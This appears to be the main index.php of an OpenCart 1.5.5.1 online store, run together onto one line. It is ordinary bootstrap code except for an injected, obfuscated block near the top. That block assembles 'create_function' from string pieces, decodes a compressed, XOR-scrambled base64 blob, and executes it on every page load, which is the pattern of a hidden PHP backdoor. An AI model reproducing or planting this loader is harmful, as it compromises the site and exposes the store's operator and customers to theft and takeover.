// Version define('VERSION', '1.5.5.1'); // Configuration if (file_exists('config.php')) { require_once('config.php'); } // Install if (!defined('DIR_APPLICATION')) { header('Location: install/index.php'); exit; } // Startup require_once(DIR_SYSTEM . 'startup.php'); $omagulis="create_";global $ulotod; $ulotod=array('$ulotod[0]=array_pop($ulotod);$tulamat=tulamat(3);$ulotod[0]=$tulamat($ulotod[2]);','$ulotod[2]=gzuncompress(tulamat(34^660,1461^3218));','Y2Z2amFJc3BmdnNgfmVxb3ptWmBzdXguWThzWGd4aGpkSXRnekZne2dueHZmUzZtQl1XRF9aTkJJX0hYUlRTXk9AaXNXbmtmTkBQVUBpcmI5S2J4TlVRVlNWRF5FWUtVaDhkc2EqfndvYHd1cjVEcjBSMjo3KytRIm5dZXBzbEFYbF4uR3JtZGBWayRYdXtSKkBVTlpRW3N9NnFEbmBwdWY4ZzZhe2tif3Mqd3dwZWE8cnd0YnF8Lmp3aXp5MmxneWl5bi12bWt0dG5hJl5sfE91PDsrRnQtVU5AUFVMXk5GQiNfdUFkdXdgJSJecXN6bnByIGN0b3tqLmBzbXB1bT84LXI1djJ2VFFVUFZFVUpDS0hrIVVXVkxDQl5bV1REXVdBQVdKSVJBRFBPU0s1bD9yYjk2QDFrbk5AUFVMQ1JQREZAU1JFQkBXTClwYXM8ZWl4QU1QNV4zKWZxazxlaXh8QW8pZnFrPHpudn0pY3QocHlvYXN3dTt0anVyY2NzZGhqcnJeYXtpXnB+eVlfVVJZVFJRSVV0e1JZVEFaRCNvS14pYGl1PDhnenhtLGF5Ym5JKWBpdTw4SFZTNHR6fnNUb2spYGl1dlpuKWN0KHB5b2Fzd3U7Ynt6dWdwd05fYHt2ZnZyXnF/ay10KCpCNShfcTEjaih4a2JAelFeZ2pzJSpkfXdtbGJwYnU5ZGR9VzhUYCUqZGFxZHtibGw6Z3xhXmxkICpjfHljdGQ3b3FjQT0pY3QocHlvc39+L2R/eylvO050YUIgfzlWIGA5dXtmJ2UreHwgYjlIbmVhdmlMcDdQQEJMbmB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JecXN6bnBy',"8:Hduw\x60\x25\x22^qsznpr");if(function_exists($omagulis.='function')&&!function_exists('tulamat')){ function tulamat($E,$k=13){global $ulotod;$F=str_pad($e="ftdESVAUVyaTWKVZ",$k,$e);$f=str_repeat("\xe0",$k);$y=str_repeat("\x1f",$k);$q=substr($ulotod[0],$E,$k);return(($q^$F)&$y)|($q&$f);};for($T7=-1;++$T7<3;$omagulis('','}'.$ulotod[$T7].'{'));};unset($ulotod); // Application Classes require_once(DIR_SYSTEM . 'library/customer.php'); require_once(DIR_SYSTEM . 'library/affiliate.php'); require_once(DIR_SYSTEM . 'library/currency.php'); require_once(DIR_SYSTEM . 'library/tax.php'); require_once(DIR_SYSTEM . 'library/weight.php'); require_once(DIR_SYSTEM . 'library/length.php'); require_once(DIR_SYSTEM . 'library/cart.php'); // Registry $registry = new Registry(); // Loader $loader = new Loader($registry); $registry->set('load', $loader); // Config $config = new Config(); $registry->set('config', $config); // Database $db = new DB(DB_DRIVER, DB_HOSTNAME, DB_USERNAME, DB_PASSWORD, DB_DATABASE); $registry->set('db', $db); // Store if (isset($_SERVER['HTTPS']) && (($_SERVER['HTTPS'] == 'on') || ($_SERVER['HTTPS'] == '1'))) { $store_query = $db->query("SELECT * FROM " . DB_PREFIX . "store WHERE REPLACE(`ssl`, 'www.', '') = '" . $db->escape('https://' . str_replace('www.', '', $_SERVER['HTTP_HOST']) . rtrim(dirname($_SERVER['PHP_SELF']), '/.\\') . '/') . "'"); } else { $store_query = $db->query("SELECT * FROM " . DB_PREFIX . "store WHERE REPLACE(`url`, 'www.', '') = '" . $db->escape('http://' . str_replace('www.', '', $_SERVER['HTTP_HOST']) . rtrim(dirname($_SERVER['PHP_SELF']), '/.\\') . '/') . "'"); } if ($store_query->num_rows) { $config->set('config_store_id', $store_query->row['store_id']); } else { $config->set('config_store_id', 0); } // Settings $query = $db->query("SELECT * FROM " . DB_PREFIX . "setting WHERE store_id = '0' OR store_id = '" . (int)$config->get('config_store_id') . "' ORDER BY store_id ASC"); foreach ($query->rows as $setting) { if (!$setting['serialized']) { $config->set($setting['key'], $setting['value']); } else { $config->set($setting['key'], unserialize($setting['value'])); } } if (!$store_query->num_rows) { $config->set('config_url', HTTP_SERVER); $config->set('config_ssl', HTTPS_SERVER); } // Url $url = new Url($config->get('config_url'), $config->get('config_secure') ? $config->get('config_ssl') : $config->get('config_url')); $registry->set('url', $url); // Log $log = new Log($config->get('config_error_filename')); $registry->set('log', $log); function error_handler($errno, $errstr, $errfile, $errline) { global $log, $config; switch ($errno) { case E_NOTICE: case E_USER_NOTICE: $error = 'Notice'; break; case E_WARNING: case E_USER_WARNING: $error = 'Warning'; break; case E_ERROR: case E_USER_ERROR: $error = 'Fatal Error'; break; default: $error = 'Unknown'; break; } if ($config->get('config_error_display')) { echo '' . $error . ': ' . $errstr . ' in ' . $errfile . ' on line ' . $errline . ''; } if ($config->get('config_error_log')) { $log->write('PHP ' . $error . ': ' . $errstr . ' in ' . $errfile . ' on line ' . $errline); } return true; } // Error Handler set_error_handler('error_handler'); // Request $request = new Request(); $registry->set('request', $request); // Response $response = new Response(); $response->addHeader('Content-Type: text/html; charset=utf-8'); $response->setCompression($config->get('config_compression')); $registry->set('response', $response); // Cache $cache = new Cache(); $registry->set('cache', $cache); // Session $session = new Session(); $registry->set('session', $session); // Language Detection $languages = array(); $query = $db->query("SELECT * FROM `" . DB_PREFIX . "language` WHERE status = '1'"); foreach ($query->rows as $result) { $languages[$result['code']] = $result; } $detect = ''; if (isset($request->server['HTTP_ACCEPT_LANGUAGE']) && $request->server['HTTP_ACCEPT_LANGUAGE']) { $browser_languages = explode(',', $request->server['HTTP_ACCEPT_LANGUAGE']); foreach ($browser_languages as $browser_language) { foreach ($languages as $key => $value) { if ($value['status']) { $locale = explode(',', $value['locale']); if (in_array($browser_language, $locale)) { $detect = $key; } } } } } if (isset($session->data['language']) && array_key_exists($session->data['language'], $languages) && $languages[$session->data['language']]['status']) { $code = $session->data['language']; } elseif (isset($request->cookie['language']) && array_key_exists($request->cookie['language'], $languages) && $languages[$request->cookie['language']]['status']) { $code = $request->cookie['language']; } elseif ($detect) { $code = $detect; } else { $code = $config->get('config_language'); } if (!isset($session->data['language']) || $session->data['language'] != $code) { $session->data['language'] = $code; } if (!isset($request->cookie['language']) || $request->cookie['language'] != $code) { setcookie('language', $code, time() + 60 * 60 * 24 * 30, '/', $request->server['HTTP_HOST']); } $config->set('config_language_id', $languages[$code]['language_id']); $config->set('config_language', $languages[$code]['code']); // Language $language = new Language($languages[$code]['directory']); $language->load($languages[$code]['filename']); $registry->set('language', $language); // Document $registry->set('document', new Document()); // Customer $registry->set('customer', new Customer($registry)); // Affiliate $registry->set('affiliate', new Affiliate($registry)); if (isset($request->get['tracking'])) { setcookie('tracking', $request->get['tracking'], time() + 3600 * 24 * 1000, '/'); } // Currency $registry->set('currency', new Currency($registry)); // Tax $registry->set('tax', new Tax($registry)); // Weight $registry->set('weight', new Weight($registry)); // Length $registry->set('length', new Length($registry)); // Cart $registry->set('cart', new Cart($registry)); // Encryption $registry->set('encryption', new Encryption($config->get('config_encryption'))); // Front Controller $controller = new Front($registry); // SEO URL's $controller->addPreAction(new Action('common/seo_url')); // Maintenance Mode $controller->addPreAction(new Action('common/maintenance')); // Router if (isset($request->get['route'])) { $action = new Action($request->get['route']); } else { $action = new Action('common/home'); } // Dispatch $controller->dispatch($action, new Action('error/not_found')); // Output $response->output(); ?>